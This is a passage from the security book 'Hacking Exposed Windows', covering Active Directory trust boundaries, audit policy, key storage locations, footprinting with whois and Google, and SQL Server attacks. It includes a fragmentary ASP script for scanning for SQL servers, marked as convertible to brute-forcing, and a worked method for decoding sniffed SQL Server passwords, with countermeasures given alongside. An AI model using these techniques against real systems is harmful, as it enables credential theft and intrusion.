\nthat is joined to the forest, you must consider that the Domain Administrator of that \ndomain is trusted as an equal to any other Domain Administrator.” The Deployment\nPlanning Guide goes on to specify the following scenarios that would necessitate the \ncreation of more than one forest. The following material is quoted directly from the \nWindows 2000 Server Resource Kit Deployment Planning Guide (see the “References and \nFurther Reading” section).\n" }, { "page_number": 72, "text": "44 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIf individual organizations:\nDo Not Trust Each Other’s Administrators\nA representation of every object in the forest resides in the global catalog. It is possible \nfor an administrator who has been delegated the ability to create objects to intentionally \nor unintentionally create a “denial of service” condition. You can create this condition \nby rapidly creating or deleting objects, thus causing a large amount of replication to the \nglobal catalog. Excessive replication can waste network bandwidth and slow down \nglobal catalog servers as they spend time to process replication.\nCannot Agree on a Forest Change Policy\nSchema changes, confi guration changes, and the addition of new domains to a forest \nhave forest-wide impact. Each of the organizations in a forest must agree on a process \nfor implementing these changes, and on the membership of the Schema Administrators \nand Enterprise Administrators groups. If organizations cannot agree on a common \npolicy, they cannot share the same forest.\nWant to Limit the Scope of a Trust Relationship\nEvery domain in a forest trusts every other domain in the forest. Every user in the forest \ncan be included in a group membership or appear on an access control list on any \ncomputer in the forest. If you want to prevent certain users from ever being granted \npermissions to certain resources, then those users must reside in a different forest than \nthe resources. If necessary, you can use explicit trust relationships to allow those users \nto be granted access to resources in specifi c domains.\nIf you are unable to yield administrative control of your domain, we suggest that you \nmaintain separate forests. Of course, you then lose all the benefits of a unified forest \nmodel, such as a shared global catalog and directory object space, and you also add the \noverhead of managing an additional forest. This is a good illustration of the trade-off \nbetween convenience and security.\nThe Flip Side: Can I Trust an Internet-Facing Domain?\nWe are also often asked the opposite question: Is it better to create a separate forest in \norder to add semitrusted domains to the organization? This question is especially \npertinent to creating a domain that will be accessible from the Internet, say for a web \nserver farm. This situation can be handled in one of two ways.\nOne, you could create a separate Internet-facing forest, and establish old-style, \nexplicit one-way trust to a domain within the corporate forest to protect it from potential \ncompromise. Again, you would lose the benefit of a shared directory across all domains \nin this scenario while gaining the burden of multiforest management.\nThe second option is to collapse the Internet-facing domain into an OU within the \ncorporate forest. The administrator of the OU can then be delegated control over only \nthose objects that are resident in the OU. Even if that account becomes compromised, the \ndamage to the rest of the forest is limited.\nAs with many decisions of this nature, the choice comes down to higher security \nversus easier management. Before you decide, read the next section.\n" }, { "page_number": 73, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n45\nImplications of Domain Compromise\nSo what does it mean if a domain within a forest becomes compromised? Let’s say a hacker \nknocks over a domain controller in an Internet-facing domain, or a disgruntled employee \nsuddenly decides to play rogue Domain Admin. Here’s what they might attempt, \nsummarizing the points made in this section on forest, tree, and domain security.\nAt the very least, every other domain in the forest is at risk because Domain Admins \nof any domain in the forest have the ability to take ownership and modify any information \nin the Configuration container of Active Directory and may replicate changes to that \ncontainer to any domain controller in the forest. Also, if any external domain accounts \nare authenticated in the compromised domain, the attacker may be able to glean these \ncredentials via the LSA Secrets cache (see Chapter 8), expanding his influence to other \ndomains in the forest or to domains in other forests. Finally, if the root domain is \ncompromised, members of the Enterprise Admins or Schema Admins have the potential \nto exert control over aspects of every other domain in the forest, unless those groups \nhave had their access limited manually.\nForest Trusts\nIn Windows 2000, there was no way to establish trusts between forests. If users in one \nforest needed access to resources in a second forest, you were limited to creating an external \ntrust relationship between two domains within either forest. Such trusts are one-way and \nnontransitive and therefore do not extend the trust paths throughout each forest.\nWindows Server 2003 introduced forest trusts, a new trust type that allows all domains \nin one forest to (transitively) trust all domains in another forest, via a single trust link \nbetween the two forest root domains. The primary benefit of this feature is to provide \ncompanies that acquire or merge with other companies an easier integration path for \ntheir existing infrastructures.\nTo create a forest trust, all domain controllers in both forests must be running in native \nmode (which requires all domain controllers to be Windows Server 2003 or later).\nForest trusts can be one-way or two-way, but they are not transitive at the forest level across three or \nmore forests. If Forest A trusts Forest B, and Forest B trusts Forest C, this does not create a trust \nrelationship between Forest A and Forest C.\nAuthentication Firewall By default, users in trusted forests are able to authenticate to any \nresources in the other forest via the Authenticated Users identity, unless the Selective \nAuthentication option has been set on the trust. This enables the authentication firewall, a \nnew feature in Windows Server 2003 that allows users to authenticate only to selected \nresources across a native mode trust.\nThe authentication firewall stops all authentications at the domain controllers in the \nresource forest. The domain controller adds the Other Organization SID (see Table 2-4) to \nthe user’s authentication token. This SID is checked against an Allowed To Authenticate \nright on an object for the specified user or group from the other forest or domain (this \nmust have been manually configured previously). If this check is successful, the This \nOrganization SID is added to the user’s authentication token, replacing the Other \nOrganization SID (you can have only one or the other).\n" }, { "page_number": 74, "text": "46 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nRecall that forest trusts are possible only in Windows Server 2003 and later native mode domains, so \nan authentication firewall can be used only in that scenario.\nThe Bottom Line\nHere’s a summary of Windows forests, trees, and domains from a malicious hacker’s \nperspective:\nDomain controllers are the most likely target of malicious attacks, since they house a \ngreat deal more account information. They are also the most likely systems in a Windows \nenvironment to be heavily secured and monitored, so a common ploy is to attack \nmore poorly defended systems on a domain and then leverage this early foothold to \nsubsequently gain complete control of any domains related to it. The extent of the damage \ndone through the compromise of a single system is greatly enhanced when accounts from \none domain are authenticated in other domains via use of trusts. The boundary of security \nin Windows 2000 and later is the forest, not the domain as it was under NT. Forest trusts \ncan be set up between Windows Server 2003 and later native mode forests, extending \nsecurity boundaries across both forests unless the authentication fi rewall is enabled.\nAUDITING\nWe’ve talked a lot about authentication and access control so far, but the NT family \nsecurity subsystem can do more than simply grant or deny access to resources. It can also \naudit such access. The Windows audit policy is defined via Security Policy. It essentially \ndefines which events to record, and it is managed via the Local Security Authority \nSubsystem (LSASS again). The kernel mode portions of the security subsystem work in \nconcert with the Windows Object Manager to generate audit records and send them to \nLSASS. LSASS adds relevant details (the account SID performing the access, and so on) \nand writes them to the Event Log, which in turn records them in the Security Event Log.\nIf auditing is set for an object, a System Access Control List (SACL) is assigned to \nthe object. The SACL defines the operations by which users should be logged in the \nsecurity audit log. Both successful and unsuccessful attempts can be audited.\nFor Windows systems, we recommend that the system audit policy be set to the most \naggressive settings (auditing is disabled by default). That is, enable audit of success/\nfailure for all of the Windows events except process tracking, as shown in Figure 2-5.\nNote that enabling auditing of object access does not actually enable auditing of all \nobject access; it enables only the potential for object access to be audited. Auditing must \nstill be specified on each individual object. On Windows domain controllers, heavy \nauditing of directory access may incur a performance penalty. Make sure to tailor your \naudit settings to the specific role of the system in question.\nEvent Log Management\nFor large-scale environments, probably the most significant issue you will face with \nWindows auditing is not what to audit, but how to manage the data that is produced. In \nbrief, we recommend setting the Security Event Log to a maximum size of 131,072 KB \nand to overwrite as needed for most applications (this is now the default setting in \nWindows Server 2008). The Application Log and the System Log should be set to around \n20 percent of this size.\n" }, { "page_number": 75, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n47\nEvent Log size and related configurations can be set centrally using the Group Policy Object Editor to \nedit domain policy; look under Computer Configuration\\Windows Settings\\Security Settings\\Event Log.\nMicrosoft introduced some improvements to the security auditing subsystem in \nVista, including the ability for audit categories to include multiple subcategories. Vista \nalso integrates audit event collection and forwarding of critical audit data to a central \nlocation (this capability was originally announced as the Microsoft Audit Collection \nSystem, or MACS, and was pulled from a post–Windows Server 2003 release; similar \nfunctionality is slated to ship in future versions of Microsoft Operations Manager \n(MOM)). The feature is now available under Computer Management\\Event Viewer\\\nSubscriptions. Both of these features enable enterprises to improve their ability to \norganize, analyze, and correlate audit data. Third-party security event–management \ntools are also available from companies including ArcSight and NetIQ.\nCryptography\nThis chapter has focused primarily on basic access control features of the operating \nsystem, but what about more powerful security features such as cryptography? Beginning \nin Windows 2000, each user account received a public/private key pair that is used by \nthe operating system to perform many significant functions. A malicious hacker who \ncompromises an account typically gains the ability to access the cryptographic keys \nassociated with that account. You will see one classic example of this in Chapter 11, when \nwe explore how the Encrypting File System (EFS) uses cryptographic keys associated \nwith user accounts to encrypt files.\nTable 2-8 lists storage locations in Windows Server 2003 for cryptographic materials.\nYou can use the Certificates Microsoft Management Console (MMC) snap-in to view \na user’s personal certificate stores. The RSA folder must never be renamed or moved \nFigure 2-5 Recommended Windows audit policy\n" }, { "page_number": 76, "text": "48 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nbecause this is the only place the operating system’s Cryptographic Service Providers \n(CSPs) look for private keys. The System Certificates, RSA, and Protect folders have their \nsystem attributes set. This prevents the files in them from being encrypted by EFS, which \nwould make them inaccessible.\nMicrosoft Outlook offers its own interface for importing/exporting S/MIME keys (used to encrypt and \nsign e-mail), but it does not allow you to set strong protection on access to the private key. You should \nuse the Certificates MMC snap-in to import S/MIME keys if you want to enable this functionality.\nThe .NET Framework\nOne key new change made in Windows Server 2003 is the tight integration of the .NET \nFramework. The .NET Framework is a development platform designed to simplify the \ncreation of distributed applications. It has several main components: the common \nlanguage runtime (CLR), the .NET Framework class library, and the runtime hosts.\nThe CLR is the foundation of the .NET Framework. It is actually a separate execution \nenvironment from the standard operating system runtime engine. Executables written \nKey\nStored\nComments\nUser private \nkey\n%userprofi le%\\Application \nData\\Microsoft\\Crypto\\RSA\\\n(also on domain controller if \nroaming profi le)\nAll fi les in this folder \nare encrypted with \nthe user’s master \nkey and RC4 (128- or \n56-bit depending on \nlocalization)\nUser master \nkey\n%userprofi le%\\Application \nData\\Microsoft\\Protect\n(also on domain controller \nif roaming profi le)\nThe master key is \nencrypted automatically \nby the Protected Storage \nservice and stored here\nUser\npublic key \ncertifi cates\n%userprofi le%\\Application \nData\\Microsoft\\\nSystemCertifi cates\\My\\\nCertifi cates\nTypically published \nto allow others to \nencrypt data that can be \ndecrypted only by the \nuser private key\nDomain\ncontroller \nbackup/\nrestore \nmaster key\nStored as a global LSA Secret in \nHKLM/SAM\nUsed to recover the \nuser master key without \ndependence on the \nuser’s password\nTable 2-8 Storage Locations for Cryptographic Keys\n" }, { "page_number": 77, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n49\nusing the .NET Framework (called assemblies) are compiled to execute in the CLR and not \nthe operating system runtime engine. The .NET Framework class library is a collection \nof class libraries that can be used to develop .NET applications. The .NET Framework \nalso provides several runtime hosts, including Windows Forms and ASP.NET, which \nwork directly with the CLR to implement server-side runtime environments. The .NET \nFramework is installed by default starting with Windows Server 2003.\nEntire books have been written about .NET Framework security, and we’re not going \ninto a great level of detail here. For more information about the .NET Framework, see the \n“References and Further Reading” section at the end of this chapter. We focus here \nprimarily on the location of key configuration files for the CLR, which may be targeted \nby malicious hackers if they’re given the opportunity.\nThe .NET Framework files are installed in %systemroot%Microsoft.NET\\Framework\\ \n(each installed version of .NET has its own separate folder here). Some configuration \nfiles are also stored in the user’s profile directory. Table 2-9 illustrates the configuration \nfiles that control .NET Framework security policy.\nThese XML files contain configuration data that controls what types of assemblies \nmay execute on the system and the security permissions to which assemblies must \nadhere once they are loaded in the runtime. The set of permissions that an assembly \nreceives is determined by the intersection of the permission sets defined by each of these \nthree levels of policy in a hierarchical fashion: enterprise policy supersedes local security\n.config, which supersedes user security.config.\nSettings in these configuration files can be manipulated using the .NET Framework \nConfiguration tool (mscorcfg.msc).\nMachine.confi g, Web.confi g, and Custom .confi g Files\nOther key .NET Framework configuration files to consider from a security perspective are \nMachine.config (stored in the .NET system folder, per-version), which sets global parameters \nfor assemblies running on the system; Web.config (typically stored in the root folder of a \nweb application, such as C:\\Inetpub\\wwwroot\\), which defines application-level security \nconfiguration parameters such as authentication protocols and username/ password lists; \nand custom .config files that can take any name that resides in application directories.\nFile\nLocation\nEnterprise.confi g\n%CLR install path%\\Confi g\\\nSecurity.confi g \n%CLR install path%\\Confi g\\\nSecurity.confi g\n%userprofi le%\\Application data\\Microsoft\\CLR \nsecurity confi g\\%CLR version%\\\nTable 2-9 .NET Framework Security Policy Files\n" }, { "page_number": 78, "text": "50 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSUMMARY\nThe following important points were covered in this chapter:\n• All access to Windows is authenticated (even if it is as the Everyone identity), \nand an access token is built for all successfully authenticated accounts. This \ntoken is used to authorize all subsequent access to resources on the system \nby the security subsystem (which comprises both user and kernel mode \ncomponents). To date, no one has publicly disclosed a technique for defeating \nthis architecture, other than running arbitrary commands in kernel mode, \ndefeating the integrity of the entire system.\n• Windows uses SIDs to identify accounts internally; the friendly account names\nare simply conveniences. Remember to use the domain or computer name \nprepended to the username when using the net use command to log on to \nremote systems (Windows interprets the SID, not the friendly account name).\n• Members of the Administrators group are the juiciest target on a local Windows \nsystem, because they inherit the highest privileges. All other accounts have \nvery limited privileges relative to the Administrators. Compromise of an \nAdministrator is thus almost always the ultimate goal of an attacker.\n• Domain Admins and Enterprise Admins are the juiciest targets on a Windows \ndomain because they are all-powerful on the domain or forest. Compromise \nof an account that is already a member of one of these groups, or addition \nof a compromised account to the local Administrators, Domain Admins, or \nEnterprise Admins, is thus almost always the ultimate goal of an attacker.\n• The Everyone group can be leveraged to gain a foothold on a Windows system \nwithout authenticating. Also, the INTERACTIVE identity is required in many \ninstances to execute privilege escalation attacks against Windows.\n• Account information is kept in the SAM (%systemroot%\\system32\\confi g\\\nsam) or Active Directory (%systemroot%\\ntds\\ntds.dit) by default. Passwords \nare irreversibly scrambled (hashed) such that the corresponding cleartext cannot \nbe derived directly, although it can be cracked, as you will see in Chapter 7.\n• Domain controllers are the most likely targets of malicious attacks, since they \nhouse all of the account information for a given domain. They are also the most \nlikely systems in a Windows environment to be heavily secured and monitored, \nso a common ploy is to attack the more poorly defended systems on a domain \nand then leverage this early foothold to gain subsequent complete control of \nany domains related to it.\n• The extent of the damage done through the compromise of a single system is \ngreatly enhanced when accounts from one domain are authenticated in other \ndomains via the use of trusts.\n• The boundary of trust in Windows 2000 and later is the forest, not the domain \nas under NT. Forest trusts are possible in Windows Server 2003 and later native \nmode.\n" }, { "page_number": 79, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n51\n• Local authentication differs from network authentication, which uses the LM/\nNTLM protocols by default under Windows. The LM authentication algorithm \nhas known weaknesses that make it vulnerable to attacks; these are discussed \nin Chapter 5. Windows 2000 and later can optionally use the Kerberos network \nauthentication protocol in homogeneous, intra-forest environments, but currently \nno mechanism is available to force the use of Kerberos. Kerberos also has known \nattack mechanisms, which are discussed in Chapter 5.\n• In addition to authentication and authorization, Windows can audit success and \nfailure of all object access, if such auditing is enabled at the system level and, \nspecifi cally, on the object to be audited.\n• Some other major elements of Windows that may be targeted by intruders \ninclude cryptographic keys and the .NET Framework confi guration fi les.\nREFERENCES AND FURTHER READING\nReference\nLocation\nFree Tools\nUser2sid/sid2user\nwww.chem.msu.su/~rudnyi/NT/\nDumpTokenInfo\nwww.windowsitsecurity.com/Articles/Index.cfm?ArticleID=15989\nwsname\nhttp://mystuff.clarke.co.nz/MyStuff/Default.asp\nGeneral References\nArchitecture of \nWindows NT\nhttp://en.wikipedia.org/wiki/Architecture_of_Windows_NT\nExploiting 802.11 Wireless \nDriver Vulnerabilities on \nWindows\nhttp://uninformed.org/?v=6&a=2&t=sumry\nSony “rootkit” incident\nwww.securityfocus.com/brief/45\nBypassing PatchGuard on \nWindows x64\nhttp://uninformed.org/?v=3&a=3&t=sumry\nSubverting PatchGuard \nVersion 2\nhttp://uninformed.org/?v=6&a=1&t=sumry\nAccess Control Model\nhttp://msdn2.microsoft.com/en-us/library/aa374876.aspx\nSecurable Objects\nhttp://msdn2.microsoft.com/en-us/library/aa379557.aspx\nWindows Vista Security \nand Data Protection \nImprovements, including \nService Hardening\nhttp://technet.microsoft.com/en-us/windowsvista/aa905073.aspx\nMandatory Integrity \nControl (MIC)\nhttp://blogs.technet.com/steriley/archive/2006/07/21/442870.aspx\nSecurity Principals Tools \nand Settings\nhttp://technet2.microsoft.com/windowsserver/en/library/\n1bc9569c-4ef1-40d2-822d-19d9a2a7665d1033.mspx?mfr=true\n" }, { "page_number": 80, "text": "52 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nMicrosoft’s Windows \nServer 2003 Security Guide\nhttp://microsoft.com/downloads/details.aspx?FamilyId=\n8A2643C1-0685-4D89-B655-521EA6C7B4DB\nCommon Criteria for \nInformation Technology \nSecurity Evaluation \n(CCITSE), or Common \nCriteria (CC)\nwww.commoncriteriaportal.org\nMicrosoft Active Directory \nOverview\nhttp://en.wikipedia.org/wiki/Active_Directory\nUser rights in Windows \nServer 2003\nhttp://www.microsoft.com/resources/documentation/windows/\nxp/all/proddocs/en-us/uratopnode.mspx?mfr=true\nWindows Vista for \nDevelopers – Part 4 – User \nAccount Control\nhttp://weblogs.asp.net/kennykerr/archive/2006/09/29/Windows-\nVista-for-Developers-_1320_-Part-4-_1320_-User-Account-Control.aspx\nQ143475, “Windows NT \nSystem Key Permits Strong \nEncryption of the SAM”\nhttp://support.microsoft.com/support/kb/articles/q143/4/75.asp\nLuke Kenneth Casson \nLeighton’s site, a great \nresource for Windows \nauthentication information\nwww.cb1.com/~lkcl/\n.NET Framework References\n.NET Framework Home on \nthe Microsoft Developer \nNetwork\nhttp://msdn.microsoft.com/netframework/\nGotDotNet, maintained \nby Microsoft employees \non the .NET Framework \ndevelopment team\nwww.gotdotnet.com\nRecommended Books\nInside Windows 2000, 3rd \nEdition\nby Solomon & Russinovich. Microsoft Press (2000)\nUndocumented\nWindows NT\nby Dabak, Phadke, and Borate. IDG Books (1999)\nDCE/RPC over SMB: Samba \nand Windows NT Domain \nInternals\nby Luke Kenneth Casson Leighton. SAMS (1999)\n.NET Framework Security\nby Brian A. LaMacchia et al. Pearson Education (2002)\nHacking Exposed Web \nApplications, 2nd Edition\nby Joel Scambray, Mike Shema, and Caleb Sima. McGraw-Hill (2006)\n" }, { "page_number": 81, "text": "53\n3\nFootprinting \nand Scanning\n" }, { "page_number": 82, "text": "54 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nW\ne’ve all heard the phrase “casing the establishment” as it’s used to describe the \npreparatory phases of a well-planned burglary. Footprinting and scanning are \nthe digital equivalent of casing the establishment.\nFootprinting might be considered the equivalent of searching the telephone directory \nfor numbers and addresses related to a corporate target, while scanning is similar to \ndriving to the location in question and identifying which buildings are occupied and \nwhat doors and windows may be available for access. Footprinting and scanning are the \nidentification of ripe targets and available avenues of entry, and they are a critical first \nstep in the methodology of the Windows attacker. Clearly, attacking the wrong house or \noverlooking an unlocked side door can quickly derail an attack or a legitimate penetration \naudit of an organization!\nFOOTPRINTING\nFootprinting is the process of creating a complete profile of the target’s information \ntechnology (IT) posture, which typically encompasses the following categories:\n• Internet\nNetwork (Domain Name System) domain names, network address \nblocks, and location of critical systems such as name servers, mail exchange \nhosts, gateways, and so on\n• Intranet\nEssentially the same components as the Internet category, but specifi c \nfor internal networks with their own separate address/namespace, if applicable\n• Remote Access Dial-up and virtual private network (VPN) access points\n• Extranet\nPartner organizations, subsidiaries, networks, third-party \nconnectivity, and so on\n• Miscellaneous\nCatchall category for any sources of information that don’t fi t \nneatly into the other categories, including Usenet, instant messaging, Securities \nand Exchange Commission (SEC) databases, employee profi les, and so on\nFrom a professional penetration tester’s perspective, footprinting is mostly about \ncomprehensively scoping the job. The tester must probe the footprint of each of the \norganization’s IT categories in a methodological and comprehensive fashion to ensure \nthat no aspect of the organization’s digital posture gets overlooked in the ensuing scanning \nand penetration testing. Of course, the malicious hacker’s perspective is probably pretty \nmuch the same: he or she seeks out the forgotten portions of an infrastructure that may be \nunguarded, poorly maintained, and/or configured insecurely.\nThis said, examination of many of these components is outside of the scope of this \nbook, which is focused on Windows. For example, footprinting a target’s remote access \npresence is typically done by analyzing phone records and war dialing, which are not \nWindows-specific processes. Physical scoping such as war driving around a distributed \ncorporation’s offices, or assessing point-of-sale systems, are also good examples of types \nof non–Windows-oriented research. This is not to say that such analysis is not critical to \n" }, { "page_number": 83, "text": "Chapter 3: Footprinting and Scanning \n55\nestimating the overall posture of an organization, but it typically requires cross-\ndisciplinary analytical techniques that are not necessarily Windows-centric.\nSuch topics are covered in more depth in Chapter 1 of McGraw-Hill’s Hacking Exposed, \nFifth Edition and will not be reiterated here in full detail. Instead, we will focus briefly on \nfootprinting Windows systems via the Internet, since this is often the source of the most \ndangerous information leaks about the online presence of an organization.\nwhois\nPopularity:\n6\nSimplicity:\n9\nImpact:\n1\nRisk Rating:\n5\nMany tools can be used to footprint an organization’s Internet presence, but the most \ncomprehensive and effective tool is whois, the standard utility for querying Internet \nregistries. It provides several kinds of information about an organization’s Internet \npresence, including the following:\n• Internet Registrar data\n• Organizational information\n• Domain Name System (DNS) servers\n• Network address block assignments\n• Point of contact (POC) information\nThe data queried via whois is spread across numerous servers around the world for \ntechnical and political reasons. To complicate matters, the WHOIS query syntax, type of \npermitted queries, available data, and the formatting of the results can vary widely from \nserver to server. Furthermore, many of the registrars are actively restricting queries to \ncombat spammers, hackers, and resource overload (and by the way, information for \n.mil and .gov has been pulled from public view entirely due to national security concerns). \nFinally, Internet domain names (such as winhackingexposed.com) are registered \nseparately from numeric addresses (such as IP addresses, net blocks, Border Gateway \nProtocol (BGP) autonomous system numbers, and so on), so two separate whois \nmethodologies are typically pursued to develop comprehensive information about a \ntarget. Despite these peculiarities, whois remains one of the most effective tools available \nfor mining Internet presence data, so we’ll discuss a few of the more prominent techniques \nfor exploiting it here.\nA great tool for performing many types of Internet queries is Sam Spade, which \ncomes in a Win32 version and a web-based interface that are both available at http://\nsamspade.org. Sam Spade’s tool is shown in Figure 3-1 performing a domain name query \nthat reveals administrative contact phone numbers.\n" }, { "page_number": 84, "text": "56 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nMuch of the information revealed by whois may seem innocuous, but to highlight \nthe potential risks, we always like to relate one of our favorite consulting anecdotes, \nconcerning a mid-sized technology company that published its CIO’s name, direct phone \nline, and e-mail address as the point of contact information for the organization at one of \nthe large Internet registries. This information was thus trivial to obtain using a whois \nPOC query. Using this information to masquerade as the CIO, we quickly gained remote \naccess to several valuable internal resources at the client and had compromised the \ncompany’s entire network infrastructure just days later.\nSam Spade is proficient at multiple whois query types and can search many different \nwhois databases on the Internet (domain name registries, IP address databases, and so \non). It also performs many more tasks than just whois, including ping, traceroute, dig, \nDNS zone transfers, SMTP relay checking, website crawling, and much more. It is a truly \nhandy utility.\nAs noted earlier, IP address information is stored in a separate set of registries from \ndomain name data. Although Sam Spade can query IP address registries, we sometimes \nfind it helpful to visit them directly. The American Registry for Internet Numbers (ARIN) \nis the official body for making IP address block assignments in the United States, and \noffers a web-based whois tool for searching its database at http://arin.net/whois. Of \ncourse, you will need to consult other registries such as the Asia-Pacific Network \nInformation Center (APNIC) and Réseaux IP Européens (RIPE) for non-U.S. blocks. \nFigure 3-1 Sam Spade’s whois query tool reveals point of contact information about a corporate \ntarget.\n" }, { "page_number": 85, "text": "Chapter 3: Footprinting and Scanning \n57\nFigure 3-2 shows a sample query against the company name “Foundstone” that was run \nusing ARIN’s web-based whois tool.\nCountermeasure to whois Footprinting\nThe original free and open ethos of the Internet left a lot of information accessible to the \npublic, and today that remains the default case. As the Internet domain name registration \nmarketplace has matured, options to protect this information better have become more \nprevalent. For example, Internet hosting companies such as Verio now offer “Private \nRegistration” that hides critical domain name registration data (name, address, and \nphone number for administrative and technical contacts will be changed to generic \ninformation related to Verio), thus lessening the chance it will be subject to identity theft \nand unwanted spam. Verio charges a yearly fee for this feature, which seems somewhat \nbackward to us—should they be charging the fee to publish the data or perhaps a fee for \nthose running the query? But, hey, we’re just happy to see the economics of information \nprotection getting visibility in some form or another (grin).\nARIN allows POC information to be designated private, with the exception that \ninformation for at least one POC must be viewable.\nWhether marked private or not, organizations should take sensible steps to limit the \nquality of information they make available via whois or similar queries. One golden rule is \nthat information provided to Internet registrars should be sanitized of direct contact \ninformation for specific company personnel or other inappropriate information. Remember \nthe story about the CIO who had his contact information published in whois data.\nFigure 3-2 A query against “Foundstone” run through ARIN’s web-based whois tool footprints the \nIP address blocks that defi ne the organization’s Internet presence.\n" }, { "page_number": 86, "text": "58 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nInternet Search Engines\nPopularity:\n6\nSimplicity:\n9\nImpact:\n1\nRisk Rating:\n5\nIdentifying Windows systems within specific sites or domains on the Internet is quite \neasy using a standard search engine. One of our favorites is Google, which can cull \noccurrences of common NT family file paths and naming conventions across the entire \nInternet or just within a site or domain. Figure 3-3 shows an example of a Google search \nacross the Internet .com domain for the common NT/2000 web root path C:\\Inetpub. \nNote that this search identified about 15,900 matching results in about 0.84 second.\nLooking for juicier items is as easy as thinking them up and pumping them through \nGoogle—consider passwords, topologies, and connection strings. The search could easily \nbe more narrowly tailored to a specific site or domain, such as www.victim.com or victim \n.com, using Google’s Advanced Search option. Some other interesting search strings \nused to identify Windows systems on the Internet via search engines like Google are \nshown in Table 3-1. The Internet’s best-known wizard at using Google to find the most \nFigure 3-3 Using Google to fi nd Windows systems in the “.com” top-level domain\n" }, { "page_number": 87, "text": "Chapter 3: Footprinting and Scanning \n59\nalarmingly sensitive data is j0hnny, whose Google Hacking Database at http://johnny \n.ihackstuff.com/ghdb.php will simply blow you away with the things that can be found \nwith simple searches.\nThe main culprit behind this problem is the placement of revealing file paths in the \nHTML of a web page. Since search engines like Google simply index the content of sites \non the Internet, they make for a handy index of which sites contain such strings as c:\\\nwinnt and the like. One of the best examples of this is when the title of a web page \ncontains information about the path of the document. (The title can be found within the \n
Connecting To Host <%nextP%>....
\n<%
\"\n else\n Response.Write \"<>Connected!>
\"\n Response.Write \"<>SQL Server version info:>
\"\n sqlStr = \"SELECT @@version\"\n Set sqlObj = oConn.Execute(sqlStr)\n response.write sqlObj(0)\n end If\n next\n%>\\>\n
** End of Analysis **
\n\n\nIt would be trivial to convert the preceding script to perform brute-force attacks or \npossibly even dictionary attacks by uploading your favorite dictionary file and then \nmaking use of the FileSystemObject (well documented in IIS documentation and samples) \nto strengthen your ASP-based SQL Server toolkit. Notice that in addition to the netlib, \nwe can specify parameters such as the TCP port, so it is possible to scan a machine for \ndifferent ports as well. To force other netlibs, you can replace the network= parameter \nwith one of the following network library values:\nShared Memory\nDbmsshrn\nMultiprotocol\nDbmsrpcn (retired in SQL 2005)\nNamed Pipes\nDbnmpntw\nTCP/IP Sockets\nDbmssocn\nNovell IPX/SPX\nDbmsspxn (retired in SQL 2005)\nBanyan VINES\nDbmsvinn (retired in SQL 2005)\nIt should also be noted that ASP is not a prerequisite for this kind of attack. This same \ntype of attack could be performed from an Apache server running PHP or a custom Perl \n" }, { "page_number": 320, "text": "292 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nscript, for that matter. The point is that the SQL client tools are lightweight and ubiquitous. \nNever assume an attacker’s only weapons are the tools that come bundled with SQL \nServer.\nThe potential SQL Server hacker has no shortage of tools and technologies to help \nhim complete his task. On top of all of this, keep in mind that SQL Server has weak \nlogging (slightly improved in SQL 2005 since we now have the remote IP address), and \neven if you do somehow notice a brute-force attack is occurring on your server, the SQL \nServer logs will provide little useful information. Make sure you take the time to test \nthese tools against your servers before the bad guys do.\nPacket Sniffi ng SQL Server Passwords\nMicrosoft has seen fit to include SSL support for all types of connectivity in its products, \nwith good reason. Without encryption, a user authenticating using native SQL Server \nlogins is transmitting her password in cleartext over the network. If you’ve ever used a \nFigure 9-5 A custom ASO page scans a network for SQL servers.\n" }, { "page_number": 321, "text": "Chapter 9: Hacking SQL Server \n293\npacket sniffer to monitor communications between a client and server, you may have \nbeen disappointed to see your password whizzing over the wire for all to see.\nAs you can see in Figure 9-6, an attempt was made to log in as user sa, but the \npassword seems to be somewhat scrambled after that. However, take a look at the \npattern. Every other byte in the sequence is an A5 (hex). You should be suspicious by \nnow that something less than encryption is happening here—and you’d be right. Rather \nthan keeping you in the dark, we’ll spill the beans and show that there is nothing going \non here but a simple XOR scheme to obfuscate the password.\nLet’s start by breaking down the password a byte (and bit) at a time. The first \nhexadecimal digit (A, for example) is equivalent to the 1010 in binary. To obtain the \npassword, we simply swap the first and second hex digit of each byte (this is due to \nUnicode encoding) and XOR the binary representation of the password with 5A (yes, \nthat’s A5 in reverse). The resulting computation will reveal the hex representation of the \nreal password, as Table 9-2 shows.\nFigure 9-6 Capture SQL Server authentication packets showing the XOR’d password\n" }, { "page_number": 322, "text": "294 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAs you can see in Table 9-2, once you know the technique, obfuscation is little more \nthan an annoyance. Keep in mind that this technique works on any netlib that transfers \ndata over the network as long as encryption is not enabled. Anyone sniffing passwords \nfrom an unencrypted transmission can trivially convert the password to plaintext and \nlog into your SQL server unhindered. If decoding the passwords manually is too much \nof a chore, a freely available tool called Cain & Abel can be used to sniff SQL Server \npasswords off the wire and will decode them for you.\nUsing the encrypted netlibs is absolutely essential if passwords and data will be \ntransferred over a network and are subject to eavesdropping. If you install a certificate \non the server, SQL Server will automatically encrypt passwords even if you are not using \nan encrypted netlib. If you are using SQL Server 2005, and you haven’t installed a \ncertificate, SQL Server will create a self-signed certificate for you, although that will not \nprovide server authentication or non-repudiation.\nSQL Server Packet Sniffi ng Countermeasures\nAs you might expect, the way to prevent sniffing is to encrypt the traffic between \nhosts. Some would suggest that switched networks might solve the issue, but with \nplenty of ways to subvert switched systems, encryption is still the only foolproof \nmethod for protecting your data in transit. Several possibilities for doing this are \nshown in Table 9-3.\nHex\nA2\nB3\n92\n92\nSwap digits\n2A\n3B\n29\n29\nBinary\n0010 1010\n0011 1011\n0010 1001\n0010 1001\n5A in binary\n0101 1010\n0101 1010\n0101 1010\n0101 1010\nXOR result\n0111 0000\n0110 0001\n0111 0011\n0111 0011\nHex\npassword\n70\n61\n73\n73\nPassword\np\na\ns\ns\nTable 9-2 Complete Conversion of Captured Credential to Plaintext\n" }, { "page_number": 323, "text": "Chapter 9: Hacking SQL Server \n295\nTransmission 